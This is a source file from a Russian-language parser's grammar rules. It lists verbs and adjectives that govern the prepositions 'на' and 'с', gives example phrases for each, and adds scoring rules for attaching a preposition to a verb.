rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина
rus_verbs:задавать{}, // задавать на выходные
rus_verbs:запасть{}, // запасть на девочку
rus_verbs:лезть{}, // лезть на забор
rus_verbs:потащить{}, // потащить на выборы
rus_verbs:направляться{}, // направляться на экзамен
rus_verbs:определять{}, // определять на вкус
rus_verbs:поползти{}, // поползти на стену
rus_verbs:поплыть{}, // поплыть на берег
rus_verbs:залезть{}, // залезть на яблоню
rus_verbs:сдать{}, // сдать на мясокомбинат
rus_verbs:приземлиться{}, // приземлиться на дорогу
rus_verbs:лаять{}, // лаять на прохожих
rus_verbs:перевернуть{}, // перевернуть на бок
rus_verbs:ловить{}, // ловить на живца
rus_verbs:отнести{}, // отнести животное на хирургический стол
rus_verbs:плюнуть{}, // плюнуть на условности
rus_verbs:передавать{}, // передавать на проверку
rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек
rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике
инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали
инфинитив:рассыпаться{вид:соверш},
глагол:рассыпаться{вид:несоверш},
глагол:рассыпаться{вид:соверш},
деепричастие:рассыпавшись{},
деепричастие:рассыпаясь{},
прилагательное:рассыпавшийся{вид:несоверш},
прилагательное:рассыпавшийся{вид:соверш},
прилагательное:рассыпающийся{},
rus_verbs:зарычать{}, // Медведица зарычала на медвежонка
rus_verbs:призвать{}, // призвать на сборы
rus_verbs:увезти{}, // увезти на дачу
rus_verbs:содержаться{}, // содержаться на пожертвования
rus_verbs:навести{}, // навести на скопление телескоп
rus_verbs:отправляться{}, // отправляться на утилизацию
rus_verbs:улечься{}, // улечься на животик
rus_verbs:налететь{}, // налететь на препятствие
rus_verbs:перевернуться{}, // перевернуться на спину
rus_verbs:улететь{}, // улететь на родину
rus_verbs:ложиться{}, // ложиться на бок
rus_verbs:класть{}, // класть на место
rus_verbs:отреагировать{}, // отреагировать на выступление
rus_verbs:доставлять{}, // доставлять на дом
rus_verbs:отнять{}, // отнять на благо правящей верхушки
rus_verbs:ступить{}, // ступить на землю
rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы
rus_verbs:унести{}, // унести на работу
rus_verbs:сходить{}, // сходить на концерт
rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги
rus_verbs:соскочить{}, // соскочить на землю
rus_verbs:пожаловаться{}, // пожаловаться на соседей
rus_verbs:тащить{}, // тащить на замену
rus_verbs:замахать{}, // замахать руками на паренька
rus_verbs:заглядывать{}, // заглядывать на обед
rus_verbs:соглашаться{}, // соглашаться на равный обмен
rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик
rus_verbs:увести{}, // увести на осмотр
rus_verbs:успевать{}, // успевать на контрольную работу
rus_verbs:опрокинуть{}, // опрокинуть на себя
rus_verbs:подавать{}, // подавать на апелляцию
rus_verbs:прибежать{}, // прибежать на вокзал
rus_verbs:отшвырнуть{}, // отшвырнуть на замлю
rus_verbs:привлекать{}, // привлекать на свою сторону
rus_verbs:опереться{}, // опереться на палку
rus_verbs:перебраться{}, // перебраться на маленький островок
rus_verbs:уговорить{}, // уговорить на новые траты
rus_verbs:гулять{}, // гулять на спонсорские деньги
rus_verbs:переводить{}, // переводить на другой путь
rus_verbs:заколебаться{}, // заколебаться на один миг
rus_verbs:зашептать{}, // зашептать на ушко
rus_verbs:привстать{}, // привстать на цыпочки
rus_verbs:хлынуть{}, // хлынуть на берег
rus_verbs:наброситься{}, // наброситься на еду
rus_verbs:напасть{}, // повстанцы, напавшие на конвой
rus_verbs:убрать{}, // книга, убранная на полку
rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию
rus_verbs:засматриваться{}, // засматриваться на девчонок
rus_verbs:застегнуться{}, // застегнуться на все пуговицы
rus_verbs:провериться{}, // провериться на заболевания
rus_verbs:проверяться{}, // проверяться на заболевания
rus_verbs:тестировать{}, // тестировать на профпригодность
rus_verbs:протестировать{}, // протестировать на профпригодность
rus_verbs:уходить{}, // отец, уходящий на работу
rus_verbs:налипнуть{}, // снег, налипший на провода
rus_verbs:налипать{}, // снег, налипающий на провода
rus_verbs:улетать{}, // Многие птицы улетают осенью на юг.
rus_verbs:поехать{}, // она поехала на встречу с заказчиком
rus_verbs:переключать{}, // переключать на резервную линию
rus_verbs:переключаться{}, // переключаться на резервную линию
rus_verbs:подписаться{}, // подписаться на обновление
rus_verbs:нанести{}, // нанести на кожу
rus_verbs:нарываться{}, // нарываться на неприятности
rus_verbs:выводить{}, // выводить на орбиту
rus_verbs:вернуться{}, // вернуться на родину
rus_verbs:возвращаться{}, // возвращаться на родину
прилагательное:падкий{}, // Он падок на деньги.
прилагательное:обиженный{}, // Он обижен на отца.
rus_verbs:косить{}, // Он косит на оба глаза.
rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок.
прилагательное:готовый{}, // Он готов на всякие жертвы.
rus_verbs:говорить{}, // Он говорит на скользкую тему.
прилагательное:глухой{}, // Он глух на одно ухо.
rus_verbs:взять{}, // Он взял ребёнка себе на колени.
rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия.
rus_verbs:вести{}, // Лестница ведёт на третий этаж.
rus_verbs:уполномочивать{}, // уполномочивать на что-либо
глагол:спешить{ вид:несоверш }, // Я спешу на поезд.
rus_verbs:брать{}, // Я беру всю ответственность на себя.
rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление.
rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики.
rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку.
rus_verbs:разбираться{}, // Эта машина разбирается на части.
rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние.
rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп.
rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье.
rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно.
rus_verbs:делиться{}, // Тридцать делится на пять без остатка.
rus_verbs:удаляться{}, // Суд удаляется на совещание.
rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север.
rus_verbs:сохранить{}, // Сохраните это на память обо мне.
rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию.
rus_verbs:лететь{}, // Самолёт летит на север.
rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров.
// rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи.
rus_verbs:смотреть{}, // Она смотрит на нас из окна.
rus_verbs:отдать{}, // Она отдала мне деньги на сохранение.
rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину.
rus_verbs:любоваться{}, // гости любовались на картину
rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь.
прилагательное:действительный{}, // Прививка оспы действительна только на три года.
rus_verbs:спуститься{}, // На город спустился смог
прилагательное:нечистый{}, // Он нечист на руку.
прилагательное:неспособный{}, // Он неспособен на такую низость.
прилагательное:злой{}, // кот очень зол на хозяина
rus_verbs:пойти{}, // Девочка не пошла на урок физультуры
rus_verbs:прибывать{}, // мой поезд прибывает на первый путь
rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу
rus_verbs:идти{}, // Дело идёт на лад.
rus_verbs:лазить{}, // Он лазил на чердак.
rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры.
// rus_verbs:действовать{}, // действующий на нервы
rus_verbs:выходить{}, // Балкон выходит на площадь.
rus_verbs:работать{}, // Время работает на нас.
глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина.
rus_verbs:бросить{}, // Они бросили все силы на строительство.
// глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков.
rus_verbs:броситься{}, // Она радостно бросилась мне на шею.
rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью.
rus_verbs:ответить{}, // Она не ответила на мой поклон.
rus_verbs:нашивать{}, // Она нашивала заплату на локоть.
rus_verbs:молиться{}, // Она молится на свою мать.
rus_verbs:запереть{}, // Она заперла дверь на замок.
rus_verbs:заявить{}, // Она заявила свои права на наследство.
rus_verbs:уйти{}, // Все деньги ушли на путешествие.
rus_verbs:вступить{}, // Водолаз вступил на берег.
rus_verbs:сойти{}, // Ночь сошла на землю.
rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано.
rus_verbs:рыдать{}, // Не рыдай так безумно над ним.
rus_verbs:подписать{}, // Не забудьте подписать меня на газету.
rus_verbs:держать{}, // Наш пароход держал курс прямо на север.
rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира.
rus_verbs:ехать{}, // Мы сейчас едем на завод.
rus_verbs:выбросить{}, // Волнами лодку выбросило на берег.
ГЛ_ИНФ(сесть), // сесть на снег
ГЛ_ИНФ(записаться),
ГЛ_ИНФ(положить) // положи книгу на стол
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: залить на youtube
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} }
then return true
}
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } }
then return true
}
// смещаться на несколько миллиметров
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} наречие:*{} }
then return true
}
// партия взяла на себя нереалистичные обязательства
fact гл_предл
{
if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} }
then return true
}
#endregion ВИНИТЕЛЬНЫЙ
// Все остальные варианты с предлогом 'НА' по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:вин } }
then return false,-4
}
// Этот вариант нужен для обработки конструкций с числительными:
// Президентские выборы разделили Венесуэлу на два непримиримых лагеря
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:род } }
then return false,-4
}
// Продавать на eBay
fact гл_предл
{
if context { * предлог:на{} * }
then return false,-6
}
#endregion Предлог_НА
#region Предлог_С
// ------------- ПРЕДЛОГ 'С' -----------------
// У этого предлога предпочтительная семантика привязывает его обычно к существительному.
// Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим.
#region ТВОРИТЕЛЬНЫЙ
wordentry_set Гл_С_Твор={
rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов
rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться
rus_verbs:забраться{},
rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ)
rus_verbs:БИТЬСЯ{}, //
rus_verbs:ПОДРАТЬСЯ{}, //
прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ)
rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ)
rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ)
rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ)
rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ)
прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра
rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом.
rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ)
rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ)
rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ)
rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ)
rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом
rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками
rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу
rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ)
rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ)
rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ)
rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ)
rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ)
rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ)
rus_verbs:отправить{}, // вы можете отправить со мной человека
rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам
rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор)
rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С)
rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С)
прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С)
rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С)
rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С)
rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С)
rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С)
rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С)
rus_verbs:СВЫКАТЬСЯ{},
rus_verbs:стаскиваться{},
rus_verbs:спиливаться{},
rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С)
rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор)
rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С)
rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С)
rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С)
rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С)
rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С)
rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С)
rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С)
rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С)
rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор)
rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С)
rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С)
rus_verbs:согласиться{}, // с этим согласились все (согласиться с)
rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор)
rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С)
rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С)
rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор)
rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор)
rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С)
rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С)
rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор)
rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор)
rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор)
rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор)
rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор)
rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор)
rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор)
rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор)
rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор)
rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ)
rus_verbs:ВЫРУГАТЬСЯ{}, // капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ)
rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много)
rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С)
rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С)
rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С)
rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С)
rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С)
rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор)
rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С)
rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С)
rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С)
rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С)
rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С)
инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара.
инфинитив:кристаллизоваться{ вид:несоверш },
глагол:кристаллизоваться{ вид:соверш },
глагол:кристаллизоваться{ вид:несоверш },
rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С)
rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С)
rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С)
rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С)
rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С)
rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор)
rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С)
rus_verbs:НЕСТИ{}, // плот несло со страшной силой. (НЕСТИ С)
rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с)
rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с)
rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с)
rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с)
rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело.
rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором
rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором
rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором
rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором
rus_verbs:стирать{}, // стирать с мылом рубашку в тазу
rus_verbs:прыгать{}, // парашютист прыгает с парашютом
rus_verbs:выступить{}, // Он выступил с приветствием съезду.
rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят.
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой.
rus_verbs:вставать{}, // он встаёт с зарёй
rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером.
rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью.
rus_verbs:договориться{}, // мы договоримся с вами
rus_verbs:побыть{}, // он хотел побыть с тобой
rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью
rus_verbs:вязаться{}, // вязаться с фактами
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:относиться{}, // относиться с пониманием
rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов.
rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней
rus_verbs:гулять{}, // бабушка гуляет с внуком
rus_verbs:разбираться{}, // разбираться с задачей
rus_verbs:сверить{}, // Данные были сверены с эталонными значениями
rus_verbs:делать{}, // Что делать со старым телефоном
rus_verbs:осматривать{}, // осматривать с удивлением
rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре
rus_verbs:попрощаться{}, // попрощаться с талантливым актером
rus_verbs:задремать{}, // задремать с кружкой чая в руке
rus_verbs:связать{}, // связать катастрофу с действиями конкурентов
rus_verbs:носиться{}, // носиться с безумной идеей
rus_verbs:кончать{}, // кончать с собой
rus_verbs:обмениваться{}, // обмениваться с собеседниками
rus_verbs:переговариваться{}, // переговариваться с маяком
rus_verbs:общаться{}, // общаться с полицией
rus_verbs:завершить{}, // завершить с ошибкой
rus_verbs:обняться{}, // обняться с подругой
rus_verbs:сливаться{}, // сливаться с фоном
rus_verbs:смешаться{}, // смешаться с толпой
rus_verbs:договариваться{}, // договариваться с потерпевшим
rus_verbs:обедать{}, // обедать с гостями
rus_verbs:сообщаться{}, // сообщаться с подземной рекой
rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц
rus_verbs:читаться{}, // читаться с трудом
rus_verbs:смириться{}, // смириться с утратой
rus_verbs:разделить{}, // разделить с другими ответственность
rus_verbs:роднить{}, // роднить с медведем
rus_verbs:медлить{}, // медлить с ответом
rus_verbs:скрестить{}, // скрестить с ужом
rus_verbs:покоиться{}, // покоиться с миром
rus_verbs:делиться{}, // делиться с друзьями
rus_verbs:познакомить{}, // познакомить с Олей
rus_verbs:порвать{}, // порвать с Олей
rus_verbs:завязать{}, // завязать с Олей знакомство
rus_verbs:суетиться{}, // суетиться с изданием романа
rus_verbs:соединиться{}, // соединиться с сервером
rus_verbs:справляться{}, // справляться с нуждой
rus_verbs:замешкаться{}, // замешкаться с ответом
rus_verbs:поссориться{}, // поссориться с подругой
rus_verbs:ссориться{}, // ссориться с друзьями
rus_verbs:торопить{}, // торопить с решением
rus_verbs:поздравить{}, // поздравить с победой
rus_verbs:проститься{}, // проститься с человеком
rus_verbs:поработать{}, // поработать с деревом
rus_verbs:приключиться{}, // приключиться с Колей
rus_verbs:сговориться{}, // сговориться с Ваней
rus_verbs:отъехать{}, // отъехать с ревом
rus_verbs:объединять{}, // объединять с другой кампанией
rus_verbs:употребить{}, // употребить с молоком
rus_verbs:перепутать{}, // перепутать с другой книгой
rus_verbs:запоздать{}, // запоздать с ответом
rus_verbs:подружиться{}, // подружиться с другими детьми
rus_verbs:дружить{}, // дружить с Сережей
rus_verbs:поравняться{}, // поравняться с финишной чертой
rus_verbs:ужинать{}, // ужинать с гостями
rus_verbs:расставаться{}, // расставаться с приятелями
rus_verbs:завтракать{}, // завтракать с семьей
rus_verbs:объединиться{}, // объединиться с соседями
rus_verbs:сменяться{}, // сменяться с напарником
rus_verbs:соединить{}, // соединить с сетью
rus_verbs:разговориться{}, // разговориться с охранником
rus_verbs:преподнести{}, // преподнести с помпой
rus_verbs:напечатать{}, // напечатать с картинками
rus_verbs:соединять{}, // соединять с сетью
rus_verbs:расправиться{}, // расправиться с беззащитным человеком
rus_verbs:распрощаться{}, // распрощаться с деньгами
rus_verbs:сравнить{}, // сравнить с конкурентами
rus_verbs:ознакомиться{}, // ознакомиться с выступлением
инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой
деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{},
rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия
rus_verbs:прощаться{}, // прощаться с боевым товарищем
rus_verbs:сравнивать{}, // сравнивать с конкурентами
rus_verbs:складывать{}, // складывать с весом упаковки
rus_verbs:повестись{}, // повестись с ворами
rus_verbs:столкнуть{}, // столкнуть с отбойником
rus_verbs:переглядываться{}, // переглядываться с соседом
rus_verbs:поторопить{}, // поторопить с откликом
rus_verbs:развлекаться{}, // развлекаться с подружками
rus_verbs:заговаривать{}, // заговаривать с незнакомцами
rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой
инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // согласоваться с подлежащим
деепричастие:согласуясь{}, прилагательное:согласующийся{},
rus_verbs:совпасть{}, // совпасть с оригиналом
rus_verbs:соединяться{}, // соединяться с куратором
rus_verbs:повстречаться{}, // повстречаться с героями
rus_verbs:поужинать{}, // поужинать с родителями
rus_verbs:развестись{}, // развестись с первым мужем
rus_verbs:переговорить{}, // переговорить с коллегами
rus_verbs:сцепиться{}, // сцепиться с бродячей собакой
rus_verbs:сожрать{}, // сожрать с потрохами
rus_verbs:побеседовать{}, // побеседовать со шпаной
rus_verbs:поиграть{}, // поиграть с котятами
rus_verbs:сцепить{}, // сцепить с тягачом
rus_verbs:помириться{}, // помириться с подружкой
rus_verbs:связываться{}, // связываться с бандитами
rus_verbs:совещаться{}, // совещаться с мастерами
rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой
rus_verbs:переплестись{}, // переплестись с кустами
rus_verbs:мутить{}, // мутить с одногрупницами
rus_verbs:приглядываться{}, // приглядываться с интересом
rus_verbs:сблизиться{}, // сблизиться с врагами
rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой
rus_verbs:растереть{}, // растереть с солью
rus_verbs:смешиваться{}, // смешиваться с известью
rus_verbs:соприкоснуться{}, // соприкоснуться с тайной
rus_verbs:ладить{}, // ладить с родственниками
rus_verbs:сотрудничать{}, // сотрудничать с органами дознания
rus_verbs:съехаться{}, // съехаться с родственниками
rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов
rus_verbs:советоваться{}, // советоваться с отчимом
rus_verbs:сравниться{}, // сравниться с лучшими
rus_verbs:знакомиться{}, // знакомиться с абитуриентами
rus_verbs:нырять{}, // нырять с аквалангом
rus_verbs:забавляться{}, // забавляться с куклой
rus_verbs:перекликаться{}, // перекликаться с другой статьей
rus_verbs:тренироваться{}, // тренироваться с партнершей
rus_verbs:поспорить{}, // поспорить с казночеем
инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком
деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш },
rus_verbs:примириться{}, // примириться с утратой
rus_verbs:раскланяться{}, // раскланяться с фрейлинами
rus_verbs:слечь{}, // слечь с ангиной
rus_verbs:соприкасаться{}, // соприкасаться со стеной
rus_verbs:смешать{}, // смешать с грязью
rus_verbs:пересекаться{}, // пересекаться с трассой
rus_verbs:путать{}, // путать с государственной шерстью
rus_verbs:поболтать{}, // поболтать с ученицами
rus_verbs:здороваться{}, // здороваться с профессором
rus_verbs:просчитаться{}, // просчитаться с покупкой
rus_verbs:сторожить{}, // сторожить с собакой
rus_verbs:обыскивать{}, // обыскивать с собаками
rus_verbs:переплетаться{}, // переплетаться с другой веткой
rus_verbs:обниматься{}, // обниматься с Ксюшей
rus_verbs:объединяться{}, // объединяться с конкурентами
rus_verbs:погорячиться{}, // погорячиться с покупкой
rus_verbs:мыться{}, // мыться с мылом
rus_verbs:свериться{}, // свериться с эталоном
rus_verbs:разделаться{}, // разделаться с кем-то
rus_verbs:чередоваться{}, // чередоваться с партнером
rus_verbs:налететь{}, // налететь с соратниками
rus_verbs:поспать{}, // поспать с включенным светом
rus_verbs:управиться{}, // управиться с собакой
